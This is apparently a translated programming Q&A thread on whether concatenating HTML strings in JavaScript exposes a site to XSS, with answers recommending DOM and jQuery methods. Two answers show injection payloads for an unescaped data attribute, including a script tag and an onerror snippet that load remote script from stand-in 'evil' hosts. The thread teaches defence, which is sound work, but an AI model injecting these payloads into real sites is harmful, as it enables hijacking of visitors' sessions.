Неужели небезопасно создавать строки HTML в Javascript?
Компания, которая размещает наш сайт, просматривает наш код перед развертыванием - они недавно сообщили нам об этом:
Строки HTML никогда не должны подвергаться прямой манипуляции, так как это открывает нам к потенциальным отверстиям XSS. Вместо этого всегда используйте DOM api для создания элементы..., которые могут быть jQuery или прямой DOM apis.
Например, вместо
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' );
Они говорят нам делать
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
Это правда? Может ли кто-нибудь дать нам пример атаки XSS, которая могла бы использовать HTML-строку, такую как первая?
Ответы
Ответ 1
Если this.au
каким-то образом изменено, оно может содержать что-то вроде этого:
"><script src="http://example.com/evilScript.js"></script><span class="
Это испортит ваш HTML и введет script:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
Если вы используете DOM-манипуляцию для установки атрибута src
, script (или любой другой XSS, который вы используете), не будет выполняться, так как он будет правильно экранирован DOM API.
В ответ на некоторые комментаторы, которые говорят, что если кто-то может изменить this.au
, они могут самостоятельно запустить script: я не знаю, откуда приходит this.au
, и это не имеет особого значения, Это может быть значение из базы данных, и БД могла быть скомпрометирована. Это может быть и вредоносный пользователь, пытающийся испортить работу другим пользователям. Это может быть даже невинный нетехник, который не понимал, что письмо "def" > "abc"
уничтожит вещи.
Еще одна вещь. В коде, который вы указали, var quizAuLink = $( 'a' );
не будет создавать новый элемент <a>
. Он просто выберет все существующие. Вам нужно использовать var quizAuLink = $( '<a>' );
для создания нового.
Ответ 2
Это должно быть столь же безопасным, не слишком усложняя удобочитаемость:
var link = $('<a class="quiz-au"><span class="quiz-au-icon"></span>Click to play</a>');
link.data("src", this.au);
Необходимо избегать выполнения строковых операций для построения строк HTML. Обратите внимание, что выше, я использовал $()
только для синтаксического анализа константной строки, которая анализирует на хорошо известный результат. В этом примере только часть this.au
опасна, поскольку она может содержать динамически рассчитанные значения.
Ответ 3
Поскольку вы не можете вводить теги script в современных браузерах с помощью .innerHTML
, вам нужно будет прослушать событие:
Если this.au
каким-то образом изменено, оно может содержать что-то вроде этого:
"><img src="broken-path.png" onerror="alert('my injection');"><span class="
Это испортит ваш HTML и введет script:
<a class="quiz-au" data-src=""><img src="broken-path.png" onload="alert('my injection')"><span class=""><span class="quiz-au-icon"></span>Click to play</a>
И из-за того, что для запуска больших блоков JavaScript установлен onerror:
var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
Благодаря Scimoster для шаблона
Ответ 4
Безопасность в стороне, когда вы создаете HTML в JavaScript, вы должны убедиться, что оно действительно. Хотя можно создавать и дезинфицировать HTML с помощью манипуляции с строками *, манипуляции с DOM гораздо удобнее. Тем не менее, вы должны точно знать, какая часть вашей строки является HTML и которая является литеральным текстом.
Рассмотрим следующий пример, где мы имеем две жестко кодированные переменные:
var href = "/detail?tag=hr©%5B%5D=1",
text = "The HTML <hr> tag";
Следующий код наивно строит строку HTML:
var div = document.createElement("div");
div.innerHTML = '<a href="' + href + '">' + text + '</a>';
console.log(div.innerHTML);
// <a href="/detail?tag=hr©%5B%5D=1">The HTML <hr> tag</a>
В этом случае используется jQuery, но он все еще неверен (он использует .html()
для переменной, которая должна была быть текстом):
var div = document.createElement("div");
$("<a></a>").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
Это правильно, потому что он отображает текст по своему усмотрению:
var div = document.createElement("div");
$("<a></a>").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// <a href="/detail?tag=hr&copy%5B%5D=1">The HTML <hr> tag</a>
Заключение: использование DOM-манипуляции/jQuery не гарантирует никакой безопасности, но, безусловно, это один шаг в правильном направлении.
* См. этот вопрос для примера. Обсуждаются как строковые, так и DOM-манипуляции.